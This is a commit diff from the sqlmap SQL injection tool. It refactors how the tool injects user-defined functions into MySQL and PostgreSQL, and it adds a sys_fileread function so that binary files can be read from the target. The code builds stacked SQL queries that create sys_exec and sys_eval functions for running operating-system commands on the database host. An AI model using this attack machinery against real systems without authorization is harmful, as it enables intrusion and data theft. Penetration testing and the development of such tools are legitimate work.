--read-file on PostgreSQL now relies on the new sys_fileread() UDF so that also binary files can be read.

Fixed a minor bug in custom UDF injection feature --udf-inject.
Major code refactoring.
This commit is contained in:
Bernardo Damele 2010-02-11 22:57:50 +00:00
parent f728208ff7
commit 89dc99188d
9 changed files with 63 additions and 100 deletions

View File

@ -157,7 +157,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
logger.warn(warnMsg) logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInjectCmd() self.udfInjectSys()
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
if mandatory: if mandatory:
self.xpCmdshellInit() self.xpCmdshellInit()

View File

@ -35,6 +35,7 @@ from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
@ -89,21 +90,23 @@ class UDF:
self.createSupportTbl(self.cmdTblName, self.tblField, dataType) self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None): def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True)
if udfName is None: if udfName is None:
cmd = "'%s'" % cmd cmd = "'%s'" % cmd
udfName = "sys_exec" udfName = "sys_exec"
cmd = unescaper.unescape(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True)
if udfName is None: if udfName is None:
cmd = "'%s'" % cmd cmd = "'%s'" % cmd
udfName = "sys_eval" udfName = "sys_eval"
cmd = unescaper.unescape(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName) inject.goStacked("DELETE FROM %s" % self.cmdTblName)
@ -116,23 +119,29 @@ class UDF:
return output return output
def checkNeededUdfs(self): def udfCheckNeeded(self):
if ( not conf.rFile or ( conf.rFile and kb.dbms != "PostgreSQL" ) ) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn: if not conf.osPwn:
self.sysUdfs.pop("sys_bineval") self.sysUdfs.pop("sys_bineval")
if not conf.osCmd and not conf.osShell and not conf.regRead: if not conf.osCmd and not conf.osShell and not conf.regRead:
self.sysUdfs.pop("sys_eval") self.sysUdfs.pop("sys_eval")
def udfCreateFromSharedLib(self): if not conf.osPwn and not conf.regAdd and not conf.regDel:
errMsg = "udfSetRemotePath() method must be defined within the plugin" self.sysUdfs.pop("sys_exec")
raise sqlmapUnsupportedFeatureException(errMsg)
def udfSetRemotePath(self): def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin" errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg) raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCmd(self): def udfSetLocalPaths(self):
errMsg = "udfInjectCmd() method must be defined within the plugin" errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg) raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict): def udfInjectCore(self, udfDict):
@ -157,6 +166,11 @@ class UDF:
self.udfCreateSupportTbl(supportTblType) self.udfCreateSupportTbl(supportTblType)
def udfInjectSys(self):
self.udfSetLocalPaths()
self.udfCheckNeeded()
self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self): def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ): if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
@ -286,7 +300,6 @@ class UDF:
if isinstance(retType, str) and retType.isdigit(): if isinstance(retType, str) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value") logger.warn("you need to specify the data-type of the return value")
else: else:
self.udfs[udfName]["return"] = retType self.udfs[udfName]["return"] = retType
break break
@ -314,16 +327,13 @@ class UDF:
while True: while True:
choice = readInput(msg) choice = readInput(msg)
if choice[0] in ( "q", "Q" ): if choice and choice[0] in ( "q", "Q" ):
break break
elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice) choice = int(choice)
break break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break break
else: else:
warnMsg = "invalid value, only digits >= 1 and " warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList) warnMsg += "<= %d are allowed" % len(udfList)

View File

@ -535,6 +535,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# paths are writable by mysql user by default # paths are writable by mysql user by default
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
def udfCreateFromSharedLib(self, udf, inpRet): def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate: if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf) logger.info("creating UDF '%s' from the binary UDF file" % udf)
@ -549,20 +560,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
else: else:
logger.debug("keeping existing UDF '%s' as requested" % udf) logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
self.checkNeededUdfs()
self.udfInjectCore(self.sysUdfs)
def uncPathRequest(self): def uncPathRequest(self):
if not kb.stackedTest: if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)

View File

@ -62,18 +62,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.excludeDbsList = PGSQL_SYSTEM_DBS self.excludeDbsList = PGSQL_SYSTEM_DBS
self.sysUdfs = { self.sysUdfs = {
# UDF name: UDF parameters' input data-type and return data-type # UDF name: UDF parameters' input data-type and return data-type
"sys_exec": { "sys_exec": { "input": [ "text" ], "return": "int4" },
"input": [ "text" ], "sys_eval": { "input": [ "text" ], "return": "text" },
"return": "int4" "sys_bineval": { "input": [ "text" ], "return": "int4" },
}, "sys_fileread": { "input": [ "text" ], "return": "text" }
"sys_eval": {
"input": [ "text" ],
"return": "text"
},
"sys_bineval": {
"input": [ "text" ],
"return": "int4"
}
} }
Enumeration.__init__(self, "PostgreSQL") Enumeration.__init__(self, "PostgreSQL")
@ -301,40 +293,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile): def stackedReadFile(self, rFile):
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved"
logger.warn(warnMsg)
infoMsg = "fetching file: '%s'" % rFile infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg) logger.info(infoMsg)
result = [] self.initEnv()
self.createSupportTbl(self.fileTblName, self.tblField, "bytea") return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
if kb.unionPosition:
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
result.append(chunk)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True): def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION " errMsg = "PostgreSQL does not support file upload with UNION "
@ -429,22 +393,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# read/write/execute access is valid # read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet): def udfSetLocalPaths(self):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@ -469,8 +418,20 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
self.udfSharedLibExt = "so" self.udfSharedLibExt = "so"
self.checkNeededUdfs() def udfCreateFromSharedLib(self, udf, inpRet):
self.udfInjectCore(self.sysUdfs) if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self): def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")

View File

@ -285,12 +285,7 @@ class Filesystem:
fileContent = newFileContent fileContent = newFileContent
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
fileContent = self.__unhexString(fileContent) fileContent = self.__unhexString(fileContent)
elif kb.dbms == "PostgreSQL":
fileContent = self.__unbase64String(fileContent)
rFilePath = dataToOutFile(fileContent) rFilePath = dataToOutFile(fileContent)
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)